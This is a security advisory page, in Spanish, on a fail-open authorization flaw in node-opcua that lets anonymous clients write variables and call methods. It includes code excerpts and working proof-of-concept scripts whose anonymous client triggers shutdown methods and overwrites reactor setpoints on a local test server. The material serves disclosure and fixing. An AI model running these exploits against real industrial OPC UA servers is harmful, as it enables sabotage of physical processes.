Crítica

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

  • Publicada: 10.11.2026
  • Actualizado: 11.11.2026 10:00

Resumen

Un cliente no autenticado (Anonymous) puede realizar operaciones Write en variables protegidas y operaciones Call en métodos privilegiados sobre cualquier nodo que carezca de permisos explícitos por nodo.

Esto sigue el modelo de herencia definido por OPC UA Part 3, §5.2.9, donde los nodos sin un atributo RolePermissions explícito heredan DefaultRolePermissions del espacio de nombres. OPC 10000-3 §4.8.3 exige una evaluación default-deny (Bad_UserAccessDenied cuando los bits de operación no están establecidos); en cambio, node-opcua concede todos los permisos.

La causa raíz es una combinación de un fail-open de autorización y una desconexión entre la API de configuración y la ruta de aplicación en tiempo de ejecución.


Configuración afectada

Este aviso cubre dos casos de distinta gravedad:

  1. No se declaran RolePermissions en ninguna parte: la resolución es permisiva. Este es el comportamiento documentado de node-opcua para un servidor sin control de acceso configurado, por lo que no se está eludiendo nada. Vale la pena corregirlo como un valor predeterminado inseguro (CWE-1188), pero no constituye la omisión de 9.1. El archivo estándar Opc.Ua.NodeSet2.xml distribuye DefaultRolePermissions sin Value, por lo que un servidor que no declaró ninguna directiva NO está expuesto.
  2. Se declara una directiva y se ignora silenciosamente: setDefaultRolePermissions() se completa correctamente pero no realiza ninguna acción, por lo que un operador que cree haber restringido el espacio de nombres no lo ha hecho. Esta es la omisión real y lo que motiva la puntuación CVSS 9.1. Requiere que alguien haya declarado un valor predeterminado para el espacio de nombres. Todo lo expuesto a continuación describe el caso 2 salvo que se indique lo contrario.

Análisis de la causa raíz

Error 1 – getPermissionForRole(null) devuelve allPermissions (vulnera el principio default-deny de §4.8.3)

Archivo: packages/node-opcua-address-space/source/session_context.ts:151-153

ts
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

Cuando la directiva aplicable se resuelve en null, la función devuelve allPermissions (Read, Write, Call) al rol que esté verificando permisos, incluido Anonymous. OPC 10000-3 §4.8.3 exige lo contrario: "If they are not set the Server returns Bad_UserAccessDenied."

Error 2 – El valor predeterminado del espacio de nombres se resuelve en null en la ruta de aplicación

La aplicación en tiempo de ejecución lee los nodos de variables DefaultRolePermissions / DefaultUserRolePermissions ubicados bajo Server/Namespaces/<ns>. Estos se resuelven en null en todas las configuraciones accesibles:

  • Los espacios de nombres cargados desde NodeSet2 (DI / ADI / proveedor) proporcionan la propiedad sin un Value (null).
  • Los espacios de nombres creados programáticamente no tienen el nodo NamespaceMetadata bajo Server/Namespaces, por lo que la búsqueda devuelve null.

Además, server_engine.ts:947-957 sobrescribe estos nodos con un valor de tipo Null en cada initialize(), sin restaurarlo:

ts
for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

Nota: El valor cargado ya es null en los nodesets estándar, por lo que este restablecimiento solo modifica la etiqueta dataType del valor; no es la única causa, ya que el valor predeterminado del espacio de nombres es null independientemente de ello.

Error 3 – Dos rutas de aplicación incoherentes

Existen dos rutas separadas y desconectadas para resolver los permisos predeterminados del espacio de nombres.

Ruta A (campo privado) – Namespace.setDefaultRolePermissions() escribe la directiva exclusivamente en un campo privado de JavaScript en namespace_impl.ts:

ts
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

Este es el valor leído por los getters locales (por ejemplo, BaseNodeImpl.getRolePermissions(inherited=true)).

Ruta B (nodo UAVariable) – la aplicación del control de acceso en tiempo de ejecución (Read/Write/Call) consulta el nodo UAVariable DefaultRolePermissions en lugar del campo privado (session_context.ts):

ts
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Debido a que la Ruta B lee el nodo de variable y la Ruta A escribe en el campo privado, ambas están desconectadas. La ruta de aplicación resuelve el valor predeterminado del espacio de nombres en null, el nodo de metadatos está ausente (espacio de nombres programático) o tiene un valor Null (espacio de nombres nodeset) y el campo setDefaultRolePermissions() del operador nunca es consultado. Ese null activa posteriormente la condición fail-open (Error 1).

Medición: Con setDefaultRolePermissions([Operator]) aplicado, namespace.getDefaultRolePermissions() devuelve la directiva mientras que getApplicableRolePermissions() devuelve null.

La sincronización entre ambas rutas solo ocurre si el operador invoca setNamespaceMetaData(), lo que vincula el campo al nodo mediante bindVariable():

ts
metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Sin llamar a setNamespaceMetaData(), setDefaultRolePermissions() no tiene ningún efecto en la autorización en tiempo de ejecución. Además, en espacios de nombres cargados desde NodeSet2 setNamespaceMetaData() arroja "INamespace meta data already exists" (PoC-C), por lo que para esos espacios de nombres no existe ninguna vía funcional para activar el valor predeterminado del espacio de nombres.


Pasos para reproducir

PoC-A – Nivel de address-space (prueba unitaria, sin red)

Guardar como packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, y ejecutar:

bash
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Salida:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B – De extremo a extremo sobre TCP (espacio de nombres programático)

Guardar como packages/node-opcua/poc_b_e2e_rbac.js, luego ejecutar node poc_b_e2e_rbac.js (añadir --safe para el control):

js
const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Salida vulnerable (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Salida de control (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C – De extremo a extremo sobre TCP (espacio de nombres cargado desde NodeSet2: ninguna configuración lo previene)

Guardar como packages/node-opcua/poc_c_nodeset_rbac.js, y luego ejecutar node poc_c_nodeset_rbac.js:

js
const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Salida:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Impacto

  • Write de valores arbitrarios en variables (CurrentWrite) reguladas únicamente por RBAC a nivel de espacio de nombres, p. ej. consignas de proceso o parámetros de seguridad.
  • Call sobre métodos vinculados. Los métodos carecen de un segundo control por AccessLevel; executable adopta de forma predeterminada el valor true para métodos vinculados (ua_method_impl.ts).
  • Afecta a cada nodo que dependa de la herencia de DefaultRolePermissions del espacio de nombres exigida por OPC 10000-3 §5.2.9.
  • Anonymous recibe cada PermissionFlag debido a que null se resuelve en allPermissions.
  • El impacto en disponibilidad (A:H, CVSS 9.8) es alcanzable en cualquier despliegue que vincule un método cuya ejecución afecte a la disponibilidad (apagado / reinicio / administración de roles); evaluado como A:N al ser específico del despliegue.

Qué NO está afectado

Servidores que no declaran RolePermissions en ningún lugar (caso 1): permisivo por diseño documentado, no constituye una omisión. Opc.Ua.NodeSet2.xml estándar incluye DefaultRolePermissions sin Value y se encuadra en este caso.

  • Nodos con RolePermissions explícitos por nodo (aplicados correctamente - PoC-A caso A).
  • Espacios de nombres creados mediante programación donde el operador invoca tanto setDefaultRolePermissions() como setNamespaceMetaData() (PoC-B --safe).
  • Variables sin CurrentWrite en AccessLevel (el vector Call continúa aplicándose a métodos).

Corrección propuesta

  1. Fail-closed – getPermissionForRole(null) debería devolver PermissionFlag.None, no allPermissions (según §4.8.3 default-deny).
  2. Ruta coherente – getApplicableRolePermissions() debería usar node.getRolePermissions(inherited=true), que ya lee el campo del espacio de nombres correctamente.
  3. Seguridad de la API – setDefaultRolePermissions() debería surtir efecto en la aplicación directamente, sin requerir setNamespaceMetaData() (que arroja una excepción en espacios de nombres cargados desde nodesets).
  4. Fortalecimiento – server_engine.ts:947-957 no debería restablecer incondicionalmente DefaultRolePermissions.

Referencia de especificación (verificada textualmente contra la referencia oficial de la OPC Foundation)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns Bad_UserAccessDenied." (default-deny, el comportamiento que el error 1 invierte). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3
  • OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of DefaultRolePermissions Property from the NamespaceMetadata Object associated with the Node shall be used instead." y "If a Server supports Permissions for a particular Namespace it shall add the DefaultRolePermissions Property to the NamespaceMetadata Object for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (define DefaultRolePermissions / DefaultUserRolePermissions como propiedades del objeto NamespaceMetadata). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13

Qué hacer

Actualice a la versión 2.180.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm node-opcua >= 2.42.0, < 2.180.0 2.180.0
Paquete de npm node-opcua-address-space >= 2.42.0, < 2.180.0 2.180.0
Paquete de npm node-opcua-server >= 2.42.0, < 2.180.0 2.180.0

Referencias

Puntuación CVSS 9.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-1188, CWE-285, CWE-636, CWE-863
Plataforma
npm
Paquete
node-opcua, node-opcua-address-space, node-opcua-server
Publicada
10.11.2026
Actualizado
11.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-xggf-m53x-jc3f - CC BY 4.0

Historial de vulnerabilidades: node-opcua

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
7
Primera → última
08.2022 11.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 6

Divulgaciones por año

  1. 2022: 3
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 4
  1. node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions esta entrada
    Crítica · 9.1 CVE-2026-95860 >= 2.42.0, < 2.180.0 2.180.0
  2. Alta · 7.7 CVE-2026-54155 <= 2.165.0 sin corrección
  3. Alta · 7.5 CVE-2022-21208 < 2.74.0 2.74.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.